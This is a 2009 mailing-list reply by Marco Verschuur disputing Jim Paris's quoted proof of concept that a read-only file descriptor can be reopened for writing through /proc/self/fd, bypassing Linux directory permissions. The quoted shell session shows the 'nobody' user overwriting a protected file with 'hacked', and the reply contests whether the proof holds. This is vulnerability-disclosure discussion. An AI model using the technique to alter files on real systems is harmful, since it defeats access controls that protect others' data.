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Re: /proc filesystem allows bypassing directory permissions on Linux
From: Marco Verschuur <marco () osp nl>
Date: Fri, 30 Oct 2009 18:57:15 +0100

Jim,

Sorry, but your 'prove' below is wrong!

You are opening the locked down file as root and passing that
fd as input to the nobody process.

So nobody is not opening /dir/file.txt (he can't because he hasn't
access to it via /dir) but root is...
Therefor the write to the fd is failing, because you're passing a
read-only file descriptor.

Try to replay your scenario in separate shells, without the use of
sudo and redirection.

Best regards,
        Marco


On 29 okt 2009, at 21:10, Jim Paris wrote:

0700 mode from the origin, you would be right, and procfs wouldn't allow opening files in that directory too, but if you let others to traverse that directory and open your believed to be secure files from the origin,
it's your fault.

I can do the example with fd passing and 700 directory, but it would
be lot of C code. Feel free to play, my example was not nearly the
only way to demonstrate it, and no, it was not racy.

Here is an example that shows the behavior where a passed read-only fd
can become read-write by reopening it through /proc, when file
permissions allow it (but directory permissions do not):

 $ sudo su
 # mkdir -m 0700 /dir
 # echo "safe" > /dir/file.txt
 # chmod 0666 /dir/file.txt
 # ls -al /dir
 total 12
 drwx------  2 root root 4096 2009-10-29 00:28 .
 drwxr-xr-x 27 root root 4096 2009-10-29 00:28 ..
 -rw-rw-rw-  1 root root    7 2009-10-29 00:43 file.txt
 # cat /dir/file.txt
 safe

Now user "nobody" cannot read or write this file:

 # su nobody -c 'cat /dir/file.txt'
 sh: /dir/file.txt: Permission denied
 # su nobody -c 'echo "hacked" > /dir/file.txt'
 sh: /dir/file.txt: Permission denied
 # cat /dir/file.txt
 safe

If we provide an open read-only file descriptor (as stdin, fd 0), they
can read it:

 # su nobody -c 'cat <&0' < /dir/file.txt
 safe

But they still can't write to this descriptor:

 # su nobody -c 'echo "hacked" >&0' < /dir/file.txt
 sh: line 0: echo: write error: Bad file descriptor

Unless we re-open the file using the magic link in /proc:

 # su nobody -c 'echo "hacked" >/proc/self/fd/0' < /dir/file.txt
 # cat /dir/file.txt
 hacked

Again, debatable whether this is a bug, but it's certainly
non-obvious.  There is no other way (that I'm aware) for the "nobody"
user to gain write access to /dir/file.txt, even when given a
read-only fd, without using /proc.

-jim


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